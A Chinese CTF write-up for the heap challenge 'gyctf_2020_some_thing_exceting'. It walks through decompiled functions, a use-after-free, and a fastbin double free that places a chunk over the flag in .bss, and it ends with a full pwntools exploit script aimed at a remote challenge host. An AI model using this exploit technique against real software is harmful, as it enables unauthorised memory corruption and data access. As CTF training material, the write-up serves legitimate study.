gyctf_2020_some_thing_exceting

gyctf_2020_some_thing_exceting

挺简单的一道堆题,

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

64位没开pie,题目部署在libc2.23

main函数就不贴出来了

unsigned __int64 FLAGBSS()
{
  FILE *stream; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  stream = fopen("/flag", "r");
  if ( !stream )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    exit(0);
  }
  byte_6020A0 = 0x60;
  fgets(s, 45, stream);
  return __readfsqword(0x28u) ^ v2;
}

把flag读入到bss段并且,在上面有个0x60,正好可以利用起来绕过fastbin的检查

初步思路就是利用doublefree改fd然后绕过fastbin,看看下面是否满足

unsigned __int64 ADD()
{
  int nbytes; // [rsp+Ch] [rbp-24h] BYREF
  int nbytes_4; // [rsp+10h] [rbp-20h] BYREF
  int i; // [rsp+14h] [rbp-1Ch]
  void *buf; // [rsp+18h] [rbp-18h]
  void *v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Create Banana    #");
  puts("#---------------------#");
  for ( i = 0; i <= 9 && *(&ptr + i); ++i )
  {
    if ( i == 9 )
    {
      puts("#   so much banana!   #");
      puts("#######################");
      return __readfsqword(0x28u) ^ v6;
    }
  }
  *(&ptr + i) = malloc(0x10uLL);
  printf("> ba's length : ");
  _isoc99_scanf("%d", &nbytes);
  if ( nbytes <= 0 || nbytes > 0x70 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    EXIT();
  }
  buf = malloc(nbytes);
  printf("> ba : ");
  read(0, buf, (unsigned int)nbytes);
  printf("> na's length : ");
  _isoc99_scanf("%d", &nbytes_4);
  if ( nbytes_4 <= 0 || nbytes_4 > 0x70 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    EXIT();
  }
  printf("> na : ");
  v5 = malloc(nbytes_4);
  read(0, v5, (unsigned int)nbytes_4);
  *(_QWORD *)*(&ptr + i) = buf;
  *((_QWORD *)*(&ptr + i) + 1) = v5;
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v6;
}

add这里每次调用一次add就申请了3个堆,

第一个堆用来记录第二第三个堆的指针

第二个堆和第三个堆都差不多,size不能大于0x70也就是打fastbin了

菜单上有edit,实际上没有,不贴了

unsigned __int64 DELE()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Delete Banana    #");
  puts("#---------------------#");
  printf("> Banana ID : ");
  _isoc99_scanf("%d", &v1);
  if ( v1 > 0xA || !*(&ptr + (int)v1) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    EXIT();
  }
  free(*(void **)*(&ptr + (int)v1));
  free(*((void **)*(&ptr + (int)v1) + 1));
  free(*(&ptr + (int)v1));
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

uaf.

unsigned __int64 SHOW()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Delete Banana    #");
  puts("#---------------------#");
  printf("> Banana ID : ");
  printf("> SCP project ID : ");
  _isoc99_scanf("%d", &v1);
  if ( v1 > 0xA || !*(&ptr + (int)v1) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    EXIT();
  }
  printf("# Banana's ba is %s\n", *(const char **)*(&ptr + (int)v1));
  printf("# Banana's na is %s\n", *((const char **)*(&ptr + (int)v1) + 1));
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

调用第一个堆存储的指针输出我们写的两个堆内容

思路跟开头差不多,基本没有阻碍

看一下bss

.bss:00000000006020A0 ??                            byte_6020A0 db ?                        
.bss:00000000006020A1 ?? ?? ?? ?? ?? ?? ??          align 8
.bss:00000000006020A8                               ; char s[64]
.bss:00000000006020A8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+s db 40h dup(?)                         
.bss:00000000006020A8

A8存储的是flag,A0是0x60

下面的0x6020A8-0x10就是在这里建堆,然后刚好0x6020A8处的0x60能绕过fastbin的检查

前提是我们申请是0x50,到这里基本就可以getshell了

下面exp15行为什么是0x60,调试一下就知道了
在这里插入图片描述
如果我们再申请0x50的话,就会把flag也申请进来,但是没有特定的size给他,就会无法绕过fastbin检查,然后就无法getshell了

from pwn import*
from Yapack import *
libc=ELF('./libc-2.23.so') 
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",26622,"./pwn",10)

bss=0x6020A8-0x10
add(0x50,b'aaaa',0x50,b'bbbb')
add(0x50,b'aaaa',0x50,b'bbbb')
dele(0)
dele(1)
dele(0)
add(0x50,p64(bss),0x50,b'bbbb')
add(0x50,b'aaaa',0x50,b'bbbb')
add(0x50,b'',0x60,b'')			
show(4)
#debug()
ia()

最后因为我们输入了一个\n所以会少掉一个f,不过无伤大雅
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值